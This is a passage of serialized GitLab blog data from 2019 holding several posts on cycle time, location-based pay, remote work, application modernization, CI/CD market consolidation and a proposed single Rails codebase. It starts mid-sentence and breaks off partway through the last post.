development lifecycle\nis one of the most crucial components, because it builds the foundation for\nworkflows, project management, and resource allocation.\n\n>Cycle time is a metric that measures the amount of time in a process between the start,\nwhich often begins with an idea, and the end when it’s finally in the hands of customers.\n\nReducing cycle time is a competitive advantage, and this new perspective enables\nteams to take an end-to-end approach to rapid delivery.\n\n## Why you should reduce cycle time\n\nSince software touches nearly every aspect of daily life, reducing the time\nbetween thinking of an idea and having the code in production is vital to\nproviding value to customers. Maintaining velocity is an important step in\nlistening to customers and meeting business demands. Because the market moves\nso quickly, organizations must find ways to simplify processes to empower teams\nto focus on delivering value to customers faster. When teams aren’t picking\nthrough tangled processes, they can quickly ship code and innovate to create\nfeatures that customers want.\n\n>“Cycle time compression may be the most underestimated force in determining winners and losers in tech.” — [Marc Andreessen](https://medium.com/digital-customer-experience/the-untapped-creative-potential-of-big-data-39dfe1916d07)\n\nWhen organizations experience long cycle time, they risk losing market share.\nSince competitors are faster to market and can rapidly respond to customer\nneeds, organizations with slow cycle time are left behind to perfect the\npast needs of users. Organizations face lost revenue and opportunities,\nsince they’re unable to react quickly to changing market needs. A build-up of\ntechnical debt and rising costs make problems worse, and organizations are\nforced to play catch-up with their competitors.\n\nOrganizations that rapidly deliver see an increase in the number of projects and\nbudgets that stay on track, with developers spending more time delivering new\nfunctionality rather than fixing defects, and faster response to constantly\nevolving customer needs.\n\nIf organizations want to differentiate their software and gain market share,\nreducing cycle time should be a business imperative.\n\n## How to start\n\nThere are several ways to reduce cycle time, but the two most immediate ways to\nrapidly see your ideas in the hands of customers is to increase visibility and\nadopt a CI/CD approach to development.\n\n### Visibility\n\nTeams require end-to-end visibility and traceability of issues\nthroughout the software development lifecycle – from idea to production – in\norder to ship features at the speed customers demand. An increase in visibility\nreduces silos and facilitates collaboration, ensuring that everyone is aware of\nwhat’s going on and where they’re needed. To give you an example of the power of\nvisibility, let's take a look at GitLab. If we calculated the average time to\ndeliver all the features in [11.8](/releases/2019/02/22/gitlab-11-8-released/), it would\nbe 250 days. With an increase in visibility, we're able to see that some features\nwe shipped took only 30 days, while others were in our backlog for three years.\nSince we're on a monthly release cadence, knowing that many of our features were\nstarted and delivered in 30 days helps us determine whether we're quickly\ndelivering value to our customers.\n\n### Continuous integration and continuous delivery\n\nQuickly delivering what customers\nwant requires a modernized software development lifecycle that saves time,\neffort, and cost. According to a 2017 Forrester Wave report, “CI enables software\ndevelopment teams to work collaboratively, without stepping on each other’s toes,\nby automating builds and source code integration to maintain source code integrity.”\nA [continuous delivery](/topics/ci-cd/) approach automates testing and deployment capabilities so\nthat software can be developed and deployed rapidly and reliably.\n\nAre you ready to reduce cycle time? **[Just commit](/blog/strategies-to-reduce-cycle-times/)**.\n",{"slug":30478,"featured":6,"template":678},"reduce-cycle-time","content:en-us:blog:reduce-cycle-time.yml","Reduce Cycle Time","en-us/blog/reduce-cycle-time.yml","en-us/blog/reduce-cycle-time",{"_path":30484,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30485,"content":30491,"config":30496,"_id":30498,"_type":16,"title":30499,"_source":17,"_file":30500,"_stem":30501,"_extension":20},"/en-us/blog/why-we-pay-local-rates",{"title":30486,"description":30487,"ogTitle":30486,"ogDescription":30487,"noIndex":6,"ogImage":30488,"ogUrl":30489,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30489,"schema":30490},"Why GitLab pays local rates","Our compensation structure is known to spark controversy, so we want to give an update on our latest iteration on team member salaries.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680461/Blog/Hero%20Images/local-rates.jpg","https://about.gitlab.com/blog/why-we-pay-local-rates","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab pays local rates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2019-02-28\",\n      }",{"title":30486,"description":30487,"authors":30492,"heroImage":30488,"date":30493,"body":30494,"category":6634,"tags":30495},[29394],"2019-02-28","\n\nOur [compensation calculator](/handbook/total-rewards/compensation/compensation-calculator/) is a regular [hot topic on places like Hacker News](https://news.ycombinator.com/item?id=18441768#18443167) – pretty much any thread about GitLab has a comment about us paying local rates. As with everything GitLab does, we continue to [iterate](https://handbook.gitlab.com/handbook/values/#iteration) on our compensation model, and implemented a number of changes at the start of 2019. In addition to adjusting the salaries of backend developers, which were [raised considerably](https://gitlab.com/gitlab-com/www-gitlab-com/commit/9382348c3c81b92b598b0a6da0994d387bdfc404) so that we are [\"at or above market,\"](/handbook/total-rewards/compensation/#competitive-rate) according to GitLab CEO [Sid Sijbrandij](/company/team/#sytses), the location factor was also revised to better reflect the respective areas covered.\n\nBut first, let's take a step back to see how we got to here.\n\n### Why did GitLab start paying team members according to location in the first place?\n\n\"It’s something that kind of happened organically,\" Sid says. \"Every time we hired someone, we’d discuss what a reasonable compensation would be. And many times, it came back to what they were making beforehand, and that really depended a lot on where they were. So we kind of started out having local market salaries as we grew. At a certain point, we said, 'Okay, this is apparently the standard. We’re basing it not just on your function and the seniority you have in the function, but also where you live.'\"\n\nGitLab no longer uses salary history as a factor in compensation offers and does not ask candidates about their previous pay. Instead, we ask all candidates, regardless of location, for their salary expectations.\n\n### Understanding the rent index\n\nThe compensation calculator's rent index came from a noted correlation between the aforementioned local market rate salaries and rent prices in the area. Using limited data sets with more than 100 locations across the globe, an analysis was run to determine the best gauge for local rates. The rent as listed on Numbeo was found to have the highest correlation.\n\n\"When you think about it, the correlation we found made sense,\" Sid explains. \"If there’s a place where people pay high wages, it tends to attract people. And then the rents, almost by force of nature, start rising. It’s not that we want to pay you based on your rent or compensate your cost of living. We want to make sure that we pay at or above market. We found that the rent was a great way to calculate that, and it’s why there’s a rent index as part of our global compensation formula.\"\n\n### New improvements on local market calculations\n\nGitLab compensation is calculated by delving into [local market data, when possible](/handbook/total-rewards/compensation/compensation-calculator/#location-factor), to ensure that [salaries are being tabulated](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/17460) fairly.\n\n\"Instead of using [just the rate index], what we do now is look at a number of different sources, usually four or five, to get market data for a city,\" says GitLab's outgoing Chief Culture Officer [Barbie Brewer](/company/team/#BarbieJBrewer). \"Then we find the median of that, and use it as our benchmark. That being said, you can't do this in all cities. We have a lot of employees in jobs that aren't typically available where they are located. In those instances, we fall back on the other equation. Generally speaking, it's pretty close. When we've had to go back and check those benchmarks, we found that it required very few adjustments. We were getting it right 95 percent of the time, so doing that check was good. It helped us understand that we were not that far off.\"\n\nBarbie also noted that some employees in low-income communities could fare better than expected because people in towns within 90 minutes of a large city will have their salaries calculated according to the higher metropolitan factor.\n\nNow that we know how GitLab got started with local rates, here's a look at why we have continued down this path.\n\n### Standard pay eats away at production and personnel\n\nIf everyone is paid the same role-based salary, the company would not be able to hire as many team members, and those that are brought on would not be as widely distributed, according to Sid. Ultimately, this approach would cut away at GitLab's ability to produce as well as be geographically diverse, he argues.\n\n\"If we pay everyone the San Francisco wage for their respective roles, our compensation costs would increase greatly, and we would be forced to hire a lot fewer people. Then we wouldn’t be able to produce as much as we would like,\" Sid explains. \"And if we started paying everyone the lowest rate possible, we would not be able to retain the people we want to keep.\n\n\"So you end up in a place where the compensation is somewhere in between. And that would cause us to have a concentration of team members in low-wage regions because it’s a better deal for them. They’re getting more than the market rate, so they’re more likely to apply and accept an offer. And they’re more likely to stay regardless of how happy they are, which is not healthy for them or the company.\"\n\n### Standard pay for all roles may not be as fair as it seems\n\nAnother problem with paying everyone the same salary, Sid says, comes down to how far a dollar goes in one place compared to another. If everyone is paid a standard salary, those who live in high-income areas would have less discretionary income when compared to their counterparts in lower-income communities. \n\nRemote companies using a standard pay structure are reportedly running into problems with their compensation plans. \n\n\"The most recent company I talked to has everybody getting paid the same, no matter where they're located. It's very, very different from GitLab, and it is causing problems for them,\" says Barbie. \"We have very strong communication with that company. They're hoping that we can help influence them to move away from paying everyone the same no matter their location. They're finding that it's extremely inequitable.\"\n\n### Closing the gap on local rates for distributed workers\n\nAs remote, or distributed, workplaces continue to take hold and grow across all industries, Sid hopes the location-based compensation gaps will narrow.\n\n\"I think the core difference is there’s people saying, 'Same work, same pay.' And there’s people like us saying we should be at market,\" Sid says. \"I hope the distance between those stances becomes smaller as more companies offer remote work opportunities. I think that’s the way to fix it – just make sure the market rates become higher and consistent.\n\n\"And that’s why we will be promoting remote work a lot. We have a great [page in our handbook about running an all-remote company](/company/culture/all-remote/). Hopefully, that is the way we will contribute to having people across the world get paid the same wages. We will track with that trend; but we won't be ahead of it or behind it. If you see what remote work is doing in a country like the Ukraine, it’s a great source of income for the people there. And I want to contribute to that.\"\n\nStill have questions or thoughts on GitLab's compensation structure? Sound off in the comments below (or on HN, inevitably 😁) or ping us on Twitter [@gitlab](https://twitter.com/gitlab).\n\n[Cover image](https://unsplash.com/photos/uCMKx2H1Y38) by [AbsolutVision](https://unsplash.com/@freegraphictoday) on Unsplash\n{: .note}\n",[7715,676,3798,10921],{"slug":30497,"featured":6,"template":678},"why-we-pay-local-rates","content:en-us:blog:why-we-pay-local-rates.yml","Why We Pay Local Rates","en-us/blog/why-we-pay-local-rates.yml","en-us/blog/why-we-pay-local-rates",{"_path":30503,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30504,"content":30510,"config":30516,"_id":30518,"_type":16,"title":30519,"_source":17,"_file":30520,"_stem":30521,"_extension":20},"/en-us/blog/remote-enables-innovation",{"title":30505,"description":30506,"ogTitle":30505,"ogDescription":30506,"noIndex":6,"ogImage":30507,"ogUrl":30508,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30508,"schema":30509},"How remote work enables rapid innovation at GitLab","At GitLab, remote isn’t a business operations risk, it’s a competitive advantage.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678666/Blog/Hero%20Images/paper-lanterns.jpg","https://about.gitlab.com/blog/remote-enables-innovation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How remote work enables rapid innovation at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2019-02-27\",\n      }",{"title":30505,"description":30506,"authors":30511,"heroImage":30507,"date":30513,"body":30514,"category":6634,"tags":30515},[30512],"Victor Wu","2019-02-27","\nI’m a Product Manager here at GitLab, primarily contributing to the [Plan stage](/direction/plan/)\nof the [DevOps lifecycle](/stages-devops-lifecycle/). I joined in November 2016 and I’ve witnessed incredible\ngrowth in GitLab the product as well as GitLab the team. Many\nnew hires have asked me during [coffee chats](/company/culture/all-remote/#coffee-chats)\nabout GitLab culture and remote work in particular, since we're an [all-remote](/company/culture/all-remote/)\ncompany. My view has evolved over this time and I wanted to share specifically why I think\nremote is _not_ a challenge to overcome, but actually a _competitive advantage_, at least for GitLab.\n\n## A remote journey\n\nWhen I joined GitLab, I thought remote was a challenge to overcome or at least\nto manage. It was a risk to be mitigated. For example, I really wanted daily standup\nmeetings with the engineering team I was working with. Silicon Valley-style tech\ncompanies and product management books tell us that frequent, synchronous, face-to-face\ncommunication is necessary for building successful products efficiently and to win\nin the marketplace. To my dismay at the time, we never had in-sync standups (and\nmy team today still doesn’t have them). But curiously, we nonetheless had immense\ncollaboration and continued to ship product at a high velocity. Something really\nweird and unexpected was going on.\n\nLater on, as I started getting comfortable [doing product the GitLab way](/handbook/product/),\nI started to think that remote wasn’t really a risk, but that there were just a\nfew negatives, and that the overall effect was net positive. See the [advantages and disadvantages of remote](/company/culture/all-remote/#advantages-for-employees).\n\nToday, I realize that even a positive-negative accounting of remote is insufficient\nto articulate what remote means at GitLab. I think that remote\n(along with a few other key crucial GitLab ingredients) gives us a differentiated\nand competitive advantage, in particular allowing us to innovate at a rapid pace\nthat is truly unique. Here's why:\n\n## Interdependent ingredients\n\nThere are a several crucial and interdependent GitLab ingredients that make remote\ntruly work in our favor:\n\n### Async communication\n\nRemote implies geographic diversity (since we hire all over the world),\nand because most folks work during the day, that further implies time zone diversity.\nConsequently, we prefer **[Async communication (primarily with text)](/handbook/communication/)** as we scale our organization in\nspace-time. Async demands everything be written down and that it be clear and concise.\nYou can’t afford a prolonged back-and-forth conversation because every round-trip\ntransaction is possibly 24 hours in the worst case. In particular, we prefer text\nbecause the internet and modern apps (for example [GitLab issues](https://docs.gitlab.com/ee/user/project/issues/)) has allowed text\nto be easily organizable, searchable, and even hyperlinked. Text is easy to parse\nand thus consume. It is a highly efficient form of communication, especially for\ntransactional collaboration.\n\n### Transparency\n\nThe async communication we reference is also digital, making it infinitely\nscalable. Unlike the printed page in a physical office, anybody should\nbe able to access a digital message. So, rather than re-erecting the walls and silos\nthat plague traditional organizations and inevitably block collaboration, we\nmake communications and work **[transparent](https://handbook.gitlab.com/handbook/values/#transparency)** by default.\nAdding a layer of permissions is necessary sometimes, and in those cases it becomes an overhead cost to manage\nand use (for example fixing a security bug.) The transmitter of communications\nneeds to figure out who should receive, and set the appropriate permissions. The\nreceiver themself needs additional work to access the content. It’s more pain. It\nadds up. So we try to avoid it when we can.\n\n>Because you know everything you write down will potentially be viewed by anyone – inside or even outside the company – simply telling the truth is the optimal and most efficient strategy\n\nTransparency also makes it really easy to tell the truth, and disincentivizes dishonesty.\nTelling the truth is simply the right thing to do, but it’s also a great strategy\nto grow a long-term sustainable business. In particular, because you know everything\nyou write down will potentially be viewed by anyone in the company or even outside\nthe company, simply telling the truth is the optimal and most efficient strategy\nand you will thus adopt it with little friction. You don’t have to make up slightly\ndifferent versions for different stakeholders. You don’t have to keep track of all\nthese versions. And you only need a single artifact to document that one source\nof truth, which will never be out of sync, because there’s only one! For\nus, that single source of truth is typically the description in an issue.\n\n### Everyone can contribute\n\nWith a single source of truth that is consumable by anybody, it allows **[everyone to contribute](/company/mission/#mission)**.\nEveryone has information parity. And so anyone is welcome to contribute. In fact,\nremember I mentioned above that the transmitter of information typically has an intended receiver\nin mind? In this case, oftentimes somebody who they didn’t expect can even participate\nand add value. This isn’t possible if there’s no transparency because artificial\nbarriers pre-close the opportunities of potential collaboration. Also, everyone\ncan contribute means future folks can participate too. You may start a conversation\non an idea that turns out to be suboptimal in the current circumstances. But it\nmight end up being just a timing issue. And so posterity might be able to recover\nthe old idea and ship a feature later on, taking advantage of all the discussions\nthat were had and made available publicly.\n\nEveryone can contribute also means that the diversity of ideas skyrockets. And so\nat GitLab, people often cross departments and offer some of the best ideas to solve\nbig challenging problems. But we still have [directly responsible individuals](/handbook/people-group/directly-responsible-individuals/)\nto make decisions in order to avoid analysis paralysis.\n\n### Iteration\n\nFinally, how can all this communication and collaboration truly function if the\nmechanisms are so transactional, distributed, and unstructured? It works because\nit forces us to be **[iterative](https://handbook.gitlab.com/handbook/values/#iteration)**. Most people think they understand iteration (myself\nincluded) before joining GitLab. But I’ve discovered over and over again that new\nfolks are surprised that this concept is taken to an extreme. Product\nand code are shipped in the absolute smallest piece possible in an effort to get\nfeedback and momentum. Implementing programs and processes at GitLab means breaking\noff the smallest chunk and then putting it into action right away. We still make\nbig, bold plans and big bets on the future. But we don’t obsess over extended analysis.\nInstead we find the smallest thing that we can do now and we do it. We believe that\nwaiting until tomorrow is an opportunity cost. Doing something small today is low\nrisk and results in immediate feedback. We have a [bias for action](https://handbook.gitlab.com/handbook/values/#bias-for-action).\n\n>We believe that waiting until tomorrow is an opportunity cost. Doing something small today is low\nrisk and results in immediate feedback.\n\nAnd so if all our communication and collaboration is focused on small iterations,\nthe scope of a typical  problem is small and manageable. And it turns out (unsurprisingly)\nmore people are willing to participate in a small problem if it literally takes\nthem a few moments to voluntarily glance at an issue description, instead of being\nforced to attend a two-hour slide presentation explaining a big problem.\nAnd since the problem is made transparent by default, the pool of contributors is\nvery high, as mentioned earlier. Personally, I am actively involved\nin at least 20 to 30 parallel problem conversations on a daily basis. It is impossible\nfor anyone to achieve that level of productivity if all to those conversations required\ndedicated, ongoing, synchronous meetings. This results in an incredible rate of collaboration\nfor myself. Multiply that by all team members at GitLab, and then also all GitLab\ncommunity members further still, and you can see now why GitLab’s pace of innovation\nis ridiculously high.\n\nRemote is not a challenge for GitLab to overcome. It’s a clear business advantage.\n\n## Ending caveat\n\nThe picture I’ve painted here is one of constant messaging and wild ideas. And\nthat’s intentional because it’s true. New folks joining GitLab often are inundated\nby the number of discussions they find themselves involved in after several weeks\nin. This is indeed an ongoing risk for GitLab especially as we scale and the level\nof ideation grows exponentially in relation to headcount (since communication links\ngrow exponentially as nodes in a people network grow). I’ve observed that GitLab\nteam members usually figure out a way to cope soon enough, and typically become\nmore selective in their communications over time. I think this is a good general\nstrategy overall, because good ideas tend to get more attention, and we essentially\nrely on the wisdom of the crowds to surface them. Of course we still have well-defined\nroles and responsibilities that serve as guardrails too, that allow subject matter\nexperts and directly responsible individuals to strategically guide our innovation\nin the right general direction.\n\nHow are you making remote work work? Let us know in the comments or tweet us [@gitlab](https://twitter.com/gitlab).\n\n[Cover image](https://unsplash.com/photos/TaXPogWdzR0) by [amseaman](https://unsplash.com/@amseaman) on Unsplash\n{: .note}\n",[2368,676,3798,10921,1444],{"slug":30517,"featured":6,"template":678},"remote-enables-innovation","content:en-us:blog:remote-enables-innovation.yml","Remote Enables Innovation","en-us/blog/remote-enables-innovation.yml","en-us/blog/remote-enables-innovation",{"_path":30523,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30524,"content":30529,"config":30534,"_id":30536,"_type":16,"title":30537,"_source":17,"_file":30538,"_stem":30539,"_extension":20},"/en-us/blog/beyond-application-modernization-trends",{"title":30525,"description":30526,"ogTitle":30525,"ogDescription":30526,"noIndex":6,"ogImage":29685,"ogUrl":30527,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30527,"schema":30528},"Beyond trends: Committing to application modernization","How to overcome analysis paralysis and take your digital transformation efforts from theory to practice.","https://about.gitlab.com/blog/beyond-application-modernization-trends","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beyond trends: Committing to application modernization\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2019-02-25\",\n      }",{"title":30525,"description":30526,"authors":30530,"heroImage":29685,"date":30531,"body":30532,"category":8943,"tags":30533},[28961],"2019-02-25","\n\nJust commit. What’s so hard about that? In truth, there’s a reason why commitment phobia is a punchline and it’s tough to settle on a place to go to dinner, let alone make a critical choice like when or [how to start the application modernization process](/blog/application-modernization-best-practices/).\n\nFor starters, there are so many questions to ask. For example:\n\n  1. What is the status quo of each software initiative?\n  1. Which applications are driving value for the business? Which aren’t?\n  1. When and how should I break my monolith into microservices? What’s the risk?\n  1. Should I move to the cloud – private, public, hybrid?\n  1. Everyone is talking about containers and Kubernetes, do I need this?\n\nThis is by no means an exhaustive list, but a sample of what might come up when considering where and how to start a digital transformation journey. Questions, buzzwords, and trends abound, and it can be easy to get trapped by analysis paralysis until enough time has gone by that indecision has become the decision.\n\nAccording to [Forrester’s Predictions 2019](https://go.forrester.com/blogs/tag/predictions-2019/), 25 percent of firms will decelerate digital efforts in 2019. For many organizations, slowing the pace of innovation directly results in lost market share due to more nimble competitors entering their space.\n\n> “In 2019, digital transformation moves from super-wide enterprise efforts to a pragmatic, surgical portfolio view of digital investments with the goal of making incremental and necessary changes to operations. – Forrester Predictions 2019\n\nThe key to starting and committing to the application modernization process is to start small and scale up as you learn. Following trends is not going to bring the organizational change needed for a successful digital transformation. It takes practical, incremental, and iterative progress.\n\nHere are a few practical steps for getting started:\n\n## 1. Start small with a small team or innovation group and scale up from there.\n\nTrying to make a decision on how to proceed with digital transformation across your entire organization is a monumental task. You risk introducing a lot of variable change all at once that can turn chaotic if not managed well. Starting with a small team or innovation group reduces the stress and minimizes the initial impact of getting started. [Behavioral science experts call this the “pick one and go” method](https://bsci21.org/9-tips-to-avoid-paralysis-by-analysis/) for overcoming analysis paralysis. Essentially, if you are overwhelmed or unsure about all of your options, just pick one and try it. Collect feedback, evaluate the outcome, iterate, and scale up from there.\n\nWhen choosing a team or developing an innovation group, avoid thinking along legacy lines which divide teams by stages of the software lifecycle. Think about building a cross-functional team of 8–12 people who can focus on developing the culture, process, and tools needed to continuously deliver software.\n\n## 2. Make smaller changes.\n\nKeep in mind that the impetus for digital transformation and, more specifically, application modernization, is driven from a business need to deliver value to customers faster. So, making smaller changes to release faster is the single most important change you can make.\n\nAdopt the mindset: what is the smallest possible change I can make to improve something, and how do I get it out as quickly as possible? At GitLab, we call this the [minimally viable change (MVC)](/handbook/product/product-principles/#the-minimal-viable-change-mvc), and it’s what allows us to ship nearly anything within a single release. This is especially important when approaching legacy software. If you start making a ton of big changes over a few weeks, the risk of breaking something and not understanding what change caused the error grows exponentially with every change.\n\nWith an MVC mindset, you can experiment with what works best without risking downtime. Smaller changes are easier to review, understand, and roll back if necessary.\n\n## 3. Prioritize mastering continuous delivery and deployment (CD).\n\nYou have your team assembled, you’ve made MVC your mantra, and now it’s time to establish a clear goal. If you’re just [starting down the application modernization road](/blog/application-modernization-examples/), chances are that you don’t quite know what strategy is going to work for your organization yet (that’s what the innovation group is for!). What you do know is that you need to be able to ship features to production faster while maintaining stability and security. By prioritizing understanding your current deployment pipeline and how to [automate to achieve continuous delivery](/topics/continuous-delivery/), you discover how the underlying infrastructure needs to change.\n\nAuthor Gary Gruver outlines this philosophy in his book, [\"Starting and Scaling DevOps in the Enterprise\"](/resources/scaling-enterprise-devops/). He writes:\n\n> It is my personal experience that creating, documenting, automating, and optimizing deployment pipelines in large software/IT organizations is key to improving their efficiency and effectiveness. – Gary Gruver\n\nStart with a single application and document how a change goes from idea all the way to production and monitoring. This will give you a good understanding of how it’s currently operating, what its dependencies are, and how you can start to decouple.\n\nFinally, the end goal is to enable teams with [fully automated CI/CD pipelines](https://docs.gitlab.com/ee/topics/autodevops/) so developers can get their code to production faster. Taking both a cultural and technological approach to change is needed to adopt DevOps methodology.\n\nAre you ready to commit to your digital transformation journey? [Get inspired and learn how Ask Media Group modernized their architecture and development with microservices, containers, and kubernetes](/webcast/cloud-native-transformation/).\n",[1899,110,4103],{"slug":30535,"featured":6,"template":678},"beyond-application-modernization-trends","content:en-us:blog:beyond-application-modernization-trends.yml","Beyond Application Modernization Trends","en-us/blog/beyond-application-modernization-trends.yml","en-us/blog/beyond-application-modernization-trends",{"_path":30541,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30542,"content":30548,"config":30553,"_id":30555,"_type":16,"title":30556,"_source":17,"_file":30557,"_stem":30558,"_extension":20},"/en-us/blog/ci-cd-market-consolidation",{"title":30543,"description":30544,"ogTitle":30543,"ogDescription":30544,"noIndex":6,"ogImage":30545,"ogUrl":30546,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30546,"schema":30547},"The CI/CD market consolidation","The DevOps industry is consolidating. GitLab is here to stay.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679957/Blog/Hero%20Images/consolidate.jpg","https://about.gitlab.com/blog/ci-cd-market-consolidation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The CI/CD market consolidation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2019-02-21\",\n      }",{"title":30543,"description":30544,"authors":30549,"heroImage":30545,"date":30550,"body":30551,"category":299,"tags":30552},[3532],"2019-02-21","\n\nSince the beginning of the year, we’ve seen consolidation in the DevOps industry.\nIn January, we saw that [Travis CI was acquired by Idera](https://techcrunch.com/2019/01/23/idera-acquires-travis-ci/)\nand today we saw [Shippable acquired by JFrog](https://techcrunch.com/2019/02/21/jfrog-acquires-shippable-adding-continuous-integration-and-delivery-to-its-devops-platform/).\nContinuous integration is a key part of a developer’s workflow and important for\ngetting your code to market quickly. As enterprises continue to go cloud-native,\n[CI/CD](/topics/ci-cd/) is a key part of [delivering innovative software products](https://about.gitlab.com/blog/application-modernization-best-practices/)\nto market and staying ahead of competition.\n\nMost technology markets go through stages as they mature. When a young technology\nis first becoming popular, there tends to be an explosion of tools to support it.\nNew technologies have a lot of rough edges that make them difficult to use and\nearly tools tend to center around making the experience easier to adopt and use.\nOnce a technology matures, tool consolidation is a natural part of the life cycle.\n\n## Partnering on CI\n\nWith consolidation, it’s no secret that people get nervous about the partner they\nare choosing as their CI backbone.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Where should OSS projects move to if currently using \u003Ca href=\"https://twitter.com/travisci?ref_src=twsrc%5Etfw\">@travisci\u003C/a>? \u003Ca href=\"https://t.co/TZJF80T1X9\">https://t.co/TZJF80T1X9\u003C/a>\u003C/p>&mdash; Carl DB (@carllerche) \u003Ca href=\"https://twitter.com/carllerche/status/1098669954759516162?ref_src=twsrc%5Etfw\">February 21, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nHere at GitLab, our users are first and foremost in mind. We’re not going anywhere.\nIn fact, we continue to build out our [leadership team](https://www.businessinsider.com/gitlab-cmo-cro-ipo-2019-2) and have stated publicly,\nmany times over, that we’re on the road to IPO by November 2020. So we invite you\nto [try out GitLab](https://gitlab.com/users/sign_in#register-pane).\n\n## We make it easy - GitLab CI/CD for GitHub\n\nSo no matter where you store your code, we can help. If you host your code on\nGitHub, you can build, test, and deploy all on GitLab. You can follow along in\nthe video below or learn more [here](https://about.gitlab.com/solutions/github/) or follow the documentation [here](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/github_integration.html).\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/qgl3F2j-1cI\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nAnd if you’d like to try using GitLab end-to-end from planning to product monitoring,\nwe make it easy to move your code over to GitLab and use a single application for\nyour developer workflow.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/VYOXuOg9tQI\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## #TravisAlums - GitLab is hiring\nLastly if you’re a Travis Alum, first off thank you for your work on advancing the industry forward.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Can I ask a favor? Given the recent news I&#39;ve been sharing about Travis CI&#39;s recent layoffs, and your overwhelming support in my DMs, if you used Travis and are looking to hire, can you tweet using the hashtag \u003Ca href=\"https://twitter.com/hashtag/travisAlums?src=hash&amp;ref_src=twsrc%5Etfw\">#travisAlums\u003C/a> ?\u003C/p>&mdash; Carmen Hernández Andoh (@carmatrocity) \u003Ca href=\"https://twitter.com/carmatrocity/status/1098583889864478720?ref_src=twsrc%5Etfw\">February 21, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nWe know that with any acquisition there are always folks who will find a good home\nin their new parent company and folks for whom the new situation will no longer\nbe a good fit. We hope for the former, but if you are looking for a [new opportunity](https://about.gitlab.com/jobs/),\nwe believe we have a great team of folks and are working on some of the most\nexciting challenges in this space.",[736,110],{"slug":30554,"featured":6,"template":678},"ci-cd-market-consolidation","content:en-us:blog:ci-cd-market-consolidation.yml","Ci Cd Market Consolidation","en-us/blog/ci-cd-market-consolidation.yml","en-us/blog/ci-cd-market-consolidation",{"_path":30560,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30561,"content":30566,"config":30571,"_id":30573,"_type":16,"title":30574,"_source":17,"_file":30575,"_stem":30576,"_extension":20},"/en-us/blog/merging-ce-and-ee-codebases",{"title":30562,"description":30563,"ogTitle":30562,"ogDescription":30563,"noIndex":6,"ogImage":27832,"ogUrl":30564,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30564,"schema":30565},"GitLab might move to a single Rails codebase","We're considering moving towards a single Rails repository by combining the two existing repositories – here's why, and what would change.","https://about.gitlab.com/blog/merging-ce-and-ee-codebases","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab might move to a single Rails codebase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marin Jankovski\"}],\n        \"datePublished\": \"2019-02-21\",\n      }",{"title":30562,"description":30563,"authors":30567,"heroImage":27832,"date":30550,"body":30569,"category":734,"tags":30570},[30568],"Marin Jankovski","\n\n## A single repository with no license changes\n\nBefore we go into the details of the proposed changes, we want to stress that:\n\n* GitLab Community Edition code would remain open source and MIT licensed.\n* GitLab Enterprise Edition code would remain source available and proprietary.\n\n## What are the challenges with having two repositories?\n\nCurrently the Ruby on Rails code of GitLab (the majority of the codebase) are maintained in two repositories.\nThe [gitlab-ce] repository for the code with an open source license and the [gitlab-ee] repository containing code with a proprietary license which is source available.\n\nFeature development is difficult and error prone when making any change at GitLab in two similar yet separate repositories that depend on one another.\n\nBelow are a few examples to demonstrate the problem:\n\n### Duplicated work during feature development\n\nThis [frontend only Merge Request](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/7376) required a [backport to CE repository](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/22158). Backporting included creating duplicate work to avoid future conflicts as well as changes to the code to support the feature.\n\n### A simple change can break master\n\nA simple [change in a spec in CE repository](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24801)\nfailed the [pipeline in the master branch](https://gitlab.com/gitlab-org/gitlab-ee/issues/9621). After hours of investigation, an [MR reverting the change](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24961) was created, as well as a [second to address the 